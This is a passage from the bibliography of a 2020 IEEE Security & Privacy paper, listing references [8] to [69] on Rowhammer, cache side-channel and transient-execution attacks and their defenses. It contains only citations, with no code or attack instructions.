exploitation vector,” in IEEE SP, 2016.
[8] F. Brasser, L. Davi, D. Gens, C. Liebchen, and A.R. Sadeghi, “CAnt touch this: Software-only mitigation
against rowhammer attacks targeting kernel memory,” in
USENIX Security, 2017, pp. 117–130.
[9] Y. Cai, S. Ghose, Y. Luo, K. Mai, O. Mutlu, and
E. F. Haratsch, “Vulnerabilities in MLC NAND flash
memory programming: Experimental analysis, exploits,
and mitigation techniques,” in HPCA, 2017, pp. 49–60.
[10] C. Canella, J. V. Bulck, M. Schwarz, M. Lipp, B. von
Berg, P. Ortner, F. Piessens, D. Evtyushkin, and D. Gruss,
“A systematic evaluation of transient execution attacks
and defenses,” arXiv, vol. 1811.05441, 2018.
[11] Y. Cheng, Z. Zhang, and S. Nepal, “Still hammerable
and exploitable: on the effectiveness of software-only
physical kernel isolation,” arXiv, vol. 1802.07060, 2018.
[12] M. Chiappetta, E. Savas, and C. Yilmaz, “Real time
detection of cache-based side-channel attacks using hardware performance counters,” Applied Soft Computing,
vol. 49, pp. 1162–1174, 2016.
[13] L. Cojocar, K. Razavi, C. Giuffrida, and H. Bos, “Exploiting correcting codes: On the effectiveness of ECC
memory against Rowhammer attacks,” in IEEE SP, 2019.
[14] P. Frigo, C. Giuffrida, H. Bos, and K. Razavi, “Grand
pwning unit: Accelerating microarchitectural attacks with
the GPU,” in IEEE SP, 2018, pp. 195–210.
[15] Q. Ge, Y. Yarom, D. Cock, and G. Heiser, “A survey of
microarchitectural timing attacks and countermeasures on

[16]

[17]
[18]

[19]

[20]

[21]

[22]

[23]
[24]

[25]

[26]
[27]

[28]

[29]

[30]
[31]
[32]

[33]

[34]

contemporary hardware,” J. Cryptographic Engineering,
vol. 8, no. 1, pp. 1–27, 2018.
Q. Ge, Y. Yarom, T. Chothia, and G. Heiser, “Time
protection: the missing OS abstraction,” in EuroSys,
2019.
M. Gorman, Understanding the Linux virtual memory
manager. Prentice Hall, 2004.
D. Gruss, R. Spreitzer, and S. Mangard, “Cache template attacks: Automating attacks on inclusive last-level
caches,” in USENIX Security, 2015, pp. 897–912.
D. Gruss, C. Maurice, and S. Mangard, “Rowhammer.js:
A remote software-induced fault attack in JavaScript,” in
DIMVA, 2016, pp. 300–321.
D. Gruss, C. Maurice, K. Wagner, and S. Mangard,
“Flush+Flush: a fast and stealthy cache attack,” in
DIMVA, 2016, pp. 279–299.
D. Gruss, M. Lipp, M. Schwarz, D. Genkin, J. Juffinger,
S. O’Connell, W. Schoechl, and Y. Yarom, “Another flip
in the wall of Rowhammer defenses,” in IEEE SP, 2018,
pp. 245–261.
J. A. Halderman, S. D. Schoen, N. Heninger, W. Clarkson, W. Paul, J. A. Calandrino, A. J. Feldman, J. Appelbaum, and E. W. Felten, “Lest we remember: cold-boot
attacks on encryption keys,” CACM, vol. 52, no. 5, pp.
91–98, 2009.
W. Henecka, A. May, and A. Meurer, “Correcting errors
in RSA private keys,” in CRYPTO, 2010, pp. 351–369.
N. Heninger and H. Shacham, “Reconstructing RSA
private keys from random key bits,” in CRYPTO, 2009,
pp. 1–17.
M. S. Inci, B. Gulmezoglu, G. Irazoqui, T. Eisenbarth,
and B. Sunar, “Cache attacks enable bulk key recovery
on the cloud,” in CHES, 2016, pp. 368–388.
Intel Corporation, “6th generation Intel processor
datasheet for S-Platforms,” 2015.
G. Irazoqui, T. Eisenbarth, and B. Sunar, “MASCAT: preventing microarchitectural attacks before distribution,” in
CODASPY, 2018, pp. 377–388.
Y. Jang, J. Lee, S. Lee, and T. Kim, “SGX-Bomb:
Locking down the processor via Rowhammer attack,” in
SysTEX, 2017, p. 5.
JEDEC Solid State Technology Association, “Low power
double data rate 4,” http://www.jedec.org/standardsdocuments/docs/jesd209-4b, 2017.
——, “JEDEC. Standard No. 79-3F. DDR3 SDRAM
Specification,” 2012.
——, “Low power double data rate 4,” 2017.
N. Karimi, A. K. Kanuparthi, X. Wang, O. Sinanoglu,
and R. Karri, “MAGIC: Malicious aging in circuits/cores,” ACM (TACO), vol. 12, no. 1, p. 5, 2015.
D.-H. Kim, P. J. Nair, and M. K. Qureshi, “Architectural
support for mitigating row hammering in DRAM memories,” IEEE Computer Architecture Letters, vol. 14, no. 1,
pp. 9–12, 2015.
Y. Kim, R. Daly, J. Kim, C. Fallin, J. H. Lee, D. Lee,
C. Wilkerson, K. Lai, and O. Mutlu, “Flipping bits

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 15

 [35]

[36]

[37]

[38]

[39]

[40]

[41]

[42]

[43]

[44]

[45]

[46]

[47]
[48]
[49]

in memory without accessing them: An experimental
study of DRAM disturbance errors,” in ACM SIGARCH
Computer Architecture News, vol. 42, no. 3, 2014, pp.
361–372.
P. Kocher, J. Horn, A. Fogh, D. Genkin, D. Gruss,
W. Haas, M. Hamburg, M. Lipp, S. Mangard, T. Prescher,
M. Schwarz, and Y. Yarom, “Spectre attacks: Exploiting
speculative execution,” in IEEE SP, 2019.
A. Kurmus, N. Ioannou, N. Papandreou, and T. P. Parnell,
“From random block corruption to privilege escalation:
A filesystem attack vector for Rowhammer-like attacks,”
in WOOT, 2017.
M. Lanteigne, “How Rowhammer could be used to
exploit weaknesses in computer hardware,” http://www.
thirdio.com/rowhammer.pdf, 2016.
M. Lipp, M. T. Aga, M. Schwarz, D. Gruss, C. Maurice, L. Raab, and L. Lamster, “Nethammer: Inducing
Rowhammer faults through network requests,” arXiv, vol.
1805.04956, 2018.
M. Lipp, M. Schwarz, D. Gruss, T. Prescher, W. Haas,
A. Fogh, J. Horn, S. Mangard, P. Kocher, D. Genkin,
Y. Yarom, and M. Hamburg, “Meltdown: Reading kernel
memory from user space,” in USENIX Security, 2018,
pp. 973–990.
F. Liu, Y. Yarom, Q. Ge, G. Heiser, and R. B. Lee,
“Last-level cache side-channel attacks are practical,” in
2015 IEEE Symposium on Security and Privacy, 2015,
pp. 605–622.
X. Lou, F. Zhang, Z. L. Chua, Z. Liang, Y. Cheng, and
Y. Zhou, “Understanding Rowhammer attacks through
the lens of a unified reference framework,” arXiv, vol.
1901.03538, 2019.
Microsoft, “Cache and memory manager improvements,”
https://docs.microsoft.com/en-us/windows-server/
administration/performance-tuning/subsystem/cachememory-management/improvements-in-windows-server,
Apr. 2017.
P. Mosalikanti, C. Mozak, and N. A. Kurd, “High performance DDR architecture in Intel Core processors using
32nm CMOS high-K metal-gate process,” in VLSI-DAT,
2011, pp. 154–157.
K. Oonishi and N. Kunihiro, “Attacking noisy secret
CRT-RSA exponents in binary method,” in ICISC, 2018,
pp. 37–54.
D. A. Osvik, A. Shamir, and E. Tromer, “Cache attacks
and countermeasures: The case of AES,” in CT-RSA,
2006, pp. 1–20.
K. G. Paterson, A. Polychroniadou, and D. L. Sibborn,
“A coding-theoretic approach to recovering noisy RSA
keys,” in ASIACRYPT, 2012, pp. 386–403.
M. Payer, “HexPADS: a platform to detect “stealth”
attacks,” in ESSoS, 2016, pp. 138–154.
C. Percival, “Cache missing for fun and profit,” in
BSDCan 2005, 2005.
P. Pessl, D. Gruss, C. Maurice, M. Schwarz, and S. Mangard, “DRAMA: exploiting DRAM addressing for cross-

CPU attacks,” in USENIX Security, 2016, pp. 565–581.
[50] R. Qiao and M. Seaborn, “A new approach for Rowhammer attacks,” in HOST, 2016, pp. 161–166.
[51] K. Razavi, B. Gras, E. Bosman, B. Preneel, C. Giuffrida,
and H. Bos, “Flip feng shui: Hammering a needle in the
software stack,” in USENIX Security, 2016, pp. 1–18.
[52] Red Hat, Red Hat Enterprise Linux 7 - Virtualization
Tuning and Optimization Guide, 2017.
[53] R. L. Rivest, A. Shamir, and L. M. Adleman, “A method
for obtaining digital signatures and public-key cryptosystems,” CACM, vol. 21, no. 2, pp. 120–126, 1978.
[54] M. Schwarz, “DRAMA: Exploiting DRAM buffers for
fun and profit,” Ph.D. dissertation, Graz University of
Technology, 2016.
[55] M. Seaborn and T. Dullien, “Exploiting the DRAM
Rowhammer bug to gain kernel privileges,”
https://googleprojectzero.blogspot.com/2015/03/
exploiting-dram-rowhammer-bug-to-gain.html, 2015.
[56] A. Shamir, “Method and apparatus for protecting public
key schemes from timing and fault attacks,” US Patent
5,991,415A, 1999.
[57] K. A. Shutemov, “Pagemap: Do not leak physical
addresses to non-privileged userspace,” https://git.kernel.
org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=
ab676b7d6fbf4b294bf198fb27ade5b0e865c7ce,
Mar.
2015, retrieved on November 10, 2015.
[58] A. Sotirov, “Heap feng shui in JavaScript,” in BlackHat
Europe, 2007.
[59] A. Tatar, R. Krishnan, E. Athanasopoulos, C. Giuffrida,
H. Bos, and K. Razavi, “Throwhammer: Rowhammer
attacks over the network and defenses,” in USENIX ATC,
2018.
[60] J. Van Bulck, M. Minkin, O. Weisse, D. Genkin,
B. Kasikci, F. Piessens, M. Silberstein, T. F. Wenisch,
Y. Yarom, and R. Strackx, “Foreshadow: Extracting the
keys to the Intel SGX kingdom with transient out-oforder execution,” in USENIX Security, 2018, pp. 991–
1008.
[61] V. Van Der Veen, Y. Fratantonio, M. Lindorfer, D. Gruss,
C. Maurice, G. Vigna, H. Bos, K. Razavi, and C. Giuffrida, “Drammer: Deterministic Rowhammer attacks on
mobile platforms,” in CCS, 2016, pp. 1675–1689.
[62] S. Vig, S. K. Lam, S. Bhattacharya, and D. Mukhopadhyay, “Rapid detection of Rowhammer attacks using
dynamic skewed hash tree,” in HASP@ISCA, 2018, pp.
7:1–7:8.
[63] O. Weisse, J. Van Bulck, M. Minkin, D. Genkin,
B. Kasikci, F. Piessens, M. Silberstein, R. Strackx, T. F.
Wenisch, and Y. Yarom, “Foreshadow-NG: Breaking the
virtual memory abstraction with transient out-of-order
execution,” https://foreshadowattack.eu/foreshadow-NG.
pdf, 2018.
[64] Y. Xiao, X. Zhang, Y. Zhang, and R. Teodorescu, “One
bit flips, one cloud flops: Cross-VM row hammer attacks
and privilege escalation,” in USENIX Security, 2016.
[65] Y. Yarom and K. Falkner, “F LUSH +R ELOAD : A high

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 16

 [66]

[67]

[68]

[69]

resolution, low noise, L3 cache side-channel attack,” in
USENIX Security, 2014, pp. 719–732.
Y. Yarom, D. Genkin, and N. Heninger, “CacheBleed: a
timing attack on OpenSSL constant-time RSA,” Journal
of Cryptographic Engineering, vol. 7, no. 2, pp. 99–112,
2017.
B. Yee, D. Sehr, G. Dardyk, J. B. Chen, R. Muth,
T. Ormandy, S. Okasaka, N. Narula, and N. Fullagar,
“Native client: A sandbox for portable, untrusted x86
native code,” in IEEE SP, 2009, pp. 79–93.
S. F. Yitbarek, M. T. Aga, R. Das, and T. Austin, “Cold
boot attacks are still hot: Security analysis of memory
scramblers in modern processors,” in HPCA, 2017, pp.
313–324.
T. Zhang, Y. Zhang, and R. B. Lee, “Cloudradar: A realtime side-channel attack detection system in clouds,” in
RAID, 2016, pp. 118–140.

In Proceedings of the 41st Annual IEEE Symposium on Security & Privacy, May 2020

Page 17